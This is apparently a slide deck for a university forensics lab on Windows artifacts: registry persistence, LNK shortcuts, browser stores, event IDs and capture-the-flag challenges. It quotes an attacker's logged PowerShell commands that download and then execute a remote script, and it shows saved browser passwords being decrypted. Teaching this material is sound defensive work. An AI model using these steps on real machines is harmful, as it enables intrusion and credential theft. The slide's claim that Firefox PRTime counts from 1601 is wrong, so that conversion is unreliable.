

Common Windows Artifacts

Registry · shortcuts · browser stores · event logs

Stefanus Eko Prasetyo

Lab-2 · hands-on session

```
PS C:\Tools>  
  
PS> reg query HKCU\...\Run  
        Malware REG_SZ malware.exe  
PS> Get-WinEvent -LogName  
        'Windows PowerShell/Operational'
```

Today's roadmap

1

Windows artifacts

what Windows records about everything a user does

2

The Registry

five hives, NTUSER.DAT, and where intruders leave traces

3

LNK shortcuts

what a shortcut remembers about the machine that made it

4

Browsers

Firefox and Chrome stores: history, logins, decryption

5

Event logs

evtx files, the security Event IDs that matter, PowerShell 4104

6

Challenges & working paper

upstream case + two new challenges + documentation rules

Windows is a witness

Windows constantly records **who did what, when, and where** — configuration, program launches, typed paths, plugged-in devices, logons. For an investigator, the operating system itself is the primary witness.

Registry

a hierarchical database of nearly all configuration and user activity settings

Files & shortcuts

LNK files, Recent items, jump lists - the ghosts of opened documents

Browser stores

history, downloads, saved logins in SQLite databases

Event logs

the system's own diary: logons, processes, script executions

The five root keys (hives)

Root key	What it holds	Forensic interest
HKEY_CURRENT_USER	configuration for the logged-in user	NTUSER.DAT - most user traces live here
HKEY_USERS	all loaded user profiles	compare profiles, find the odd one
HKEY_LOCAL_MACHINE	system-wide configuration	services, autostart, devices
HKEY_CLASSES_ROOT	file-type associations	how a payload gets executed on open
HKEY_CURRENT_CONFIG	current hardware profile	display and docking details

Visualize it as a tree: *Computer \ HKEY_CURRENT_USER \ Control Panel \ Mouse* — each branch is a key, and keys hold values (name = data).

NTUSER.DAT — the user's fingerprint

PS C:\Tools>

```
PS> Copy-Item C:\Users\w\NTUSER.DAT . # never the original
```

```
# open the copy in Registry Explorer (Eric Zimmerman)
```

```
Control Panel\Mouse
```

```
    DoubleClickSpeed = 500
```

```
...\Explorer\TypedPaths
```

```
    url1 = C:\Windows\System32\calc.exe # most recent
```

```
...\CurrentVersion\Run
```

```
    OneDrive = "...OneDrive.exe" /background
```

```
    Malware = C:\Users\w\Desktop\malware.exe
```

```
# a program that starts at EVERY logon = persistence
```

Why it matters

- ▶ one file captures settings, typed paths, autostart, USB mounts, program use
- ▶ Registry Explorer (Zimmerman) opens hives other tools cannot
- ▶ work on a copy - the live NTUSER.DAT is locked by Windows
- ▶ values have types: REG_SZ text, REG_DWORD 32-bit number, REG_BINARY raw bytes

Where intruders leave traces

Location (under HKCU)	What it records	Investigator's question
...\CurrentVersion\Run	programs starting at logon	what persists after reboot?
...\Explorer\TypedPaths	paths typed into Explorer	where did the user navigate?
...\Explorer\UserAssist	GUI program executions	which tools were run? (ROT13!)
...\Explorer\MountPoints2	mounted volumes and USB devices	which USB stick was plugged in?
...\Explorer\RecentDocs	recently opened documents	which files were touched?
...\Environment	user environment variables	subtle persistence spot

LNK files — the ghosts of opened files

```
PS C:\Tools>
PS> .\LECmd.exe -f passwd.lnk
Source created : 2021-03-15 08:25:27
Source modified: 2021-03-15 10:36:47
Local path      : C:\Users\Challenger\Desktop\passwd.txt
Working Dir     : C:\Users\Challenger\Desktop
Machine ID      : desktop-rsrl4hd
MAC Address     : 08-00-27-2a-dc-e0
# the shortcut remembers the machine that created it
```

What a .lnk reveals

- ▶ full path of the target file, even if the file is gone
- ▶ created / modified / accessed timestamps
- ▶ hostname and MAC address of the creating machine
- ▶ found under Recent, Desktop, Start Menu

Firefox — the profile folder

File	Holds	How to read it
places.sqlite	history, bookmarks, downloads	DB Browser for SQLite / sqlite3
key4.db + logins.json	saved logins (encrypted)	firefox_decrypt
cookies.sqlite	session cookies	DB Browser for SQLite
formhistory.sqlite	search box and form entries	DB Browser for SQLite



PS C:\Tools>

```
PS> python firefox_decrypt.py .\s6upyltd.default-release
Website:  https://www.reddit.com
Username: 'hackerman'      Password: 'sup3rs3cur3p4ssw0rd'
# key4.db holds the master key; logins.json holds the encrypted blobs
```

Chrome — and reading the timeline

Store	Chrome location	Forensic use
History	User Data\Default\History	visits and downloads (SQLite)
Login Data	User Data\Default>Login Data	saved credentials
Local State	User Data\Local State (JSON)	holds the encryption key
Timestamps	Webkit/Chrome epoch	microseconds since 1601-01-01

Timeline thinking

- ▶ browser history is not just a list - it is a chronological narrative of intent
- ▶ Firefox stores times in PRTime: microseconds since 1601 (add 11644473600 seconds to get Unix time)
- ▶ correlate history with event logs and registry timestamps to build one incident timeline

The system's diary (.evtx)

PS C:\Tools>

```
PS> ls C:\Windows\System32\winevt\Logs | select -First 6
Security.evtx
Microsoft-Windows-PowerShell%4Operational.evtx
Microsoft-Windows-Windows Defender%4Operational.evtx

PS> Get-WinEvent -LogName 'Windows PowerShell/Operational'
      -MaxEvents 20 | Format-List TimeCreated, Id, Message

PS> wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:5
# every event has an ID - the ID is the vocabulary
```

Reading strategy

- ▶ Event Viewer for exploring; wevtutil / Get-WinEvent for volume
- ▶ filter by Event ID first, then by time window
- ▶ channels worth knowing: Security, PowerShell, Defender, Firewall, Sysmon (if present)
- ▶ log gaps and clears (1102) are findings too

Event IDs worth memorizing

Event ID	Meaning
4624 / 4625	logon SUCCESS / logon FAILURE (brute force pattern)
4634 / 4647	logoff
4648	logon with explicit credentials (lateral movement hint)
4688	a new process was created
4720 / 4726	user account created / deleted
1102	the audit log was CLEARED - classic anti-forensics
1116 / 1117	Defender detected malware / took action
4104	PowerShell script block - the script text itself is logged

PowerShell 4104 — the attacker's transcript



```
# from the lab's PowerShell Operational log (Event ID 4104):  
New-Item HKLM:\...\ScriptBlockLogging -Force  
Set-ItemProperty ... EnableScriptBlockLogging -Value 1  
Invoke-WebRequest -Uri https://[...]/file.ps1 -OutFile file.ps1  
del .\file.ps1  
Invoke-WebRequest -Uri https://[...]/file.ps1 -OutFile file.ps1  
.\file.ps1  
  
# the attacker ENABLED logging, downloaded, deleted, re-downloaded,  
# then executed - the full story survived in the log
```

PS C:\Tools>

The Windows artifacts toolbox

Tool	Purpose
Registry Explorer	open hive files, browse keys and values, see transaction logs
LECmd	parse LNK shortcuts into readable metadata
DB Browser for SQLite	explore places.sqlite and every browser store
firefox_decrypt	decrypt saved logins using key4.db
Event Viewer	explore evtx logs interactively
wevtutil / Get-WinEvent	query evtx from the command line

Your challenges

Challenge A

upstream case files

NTUSER.DAT + Firefox + evtx

- ▶ three evidence sets, one story
- ▶ registry, browser, script log
- ▶ solved together in the Deep Dive

from the original lab

Challenge B — new

suspect_ntuser.reg

files/suspect_ntuser.reg

- ▶ an exported hive of a suspect
- ▶ one Run value looks legitimate
- ▶ decode what it really runs

persistence hunt

Challenge C — new

places.sqlite

files/places.sqlite

- ▶ 310 rows of browsing history
- ▶ one suspicious evening
- ▶ SQL + URL decoding for the flag

history hunt

Flag format: `ctf{xxxx}` (Challenge A keeps the upstream flag format)

Working paper & evidence rules

1 Pre-lab first

section 1.4 of the working paper, before the session

2 Work on copies

copy NTUSER.DAT, the profile, the evtx - never open originals in place

3 Number your evidence

screenshots and outputs get B-01, B-02, B-03 in the evidence log

4 Hash what you touch

integrity form before and after analysis

5 Cite key paths

answers must name the exact key path, file, or Event ID

```
PS C:\Tools>  
  
# evidence log entry  
[B-07] 2026-09-30 10:12  
reg query "HKCU\...\Run"  
Malware REG_SZ malware.exe  
-> persistence confirmed at logon
```

No evidence, no answer.

every claim must trace back to a numbered exhibit

KEY TAKEAWAYS

01

The Registry is a biography

settings, autostart, typed paths, USB mounts, program use - all in NTUSER.DAT

02

Shortcuts outlive files

an LNK remembers paths, times, hostname, even the MAC address

03

Browsers keep receipts

history in SQLite, logins encrypted but recoverable, timestamps in PRTime

04

Event logs are testimony

learn the IDs: 4624/4625, 4688, 1102, and PowerShell 4104

Grab the artifacts and start reading.



PS C:\Tools>

```
PS> git clone https://github.com/stprasst/digital-forensic-lab
PS> cd digital-forensic-lab/Lab\ 02/files
PS> ls
Firefox.zip  NTUSER.DAT  suspect_ntuser.reg  places.sqlite
```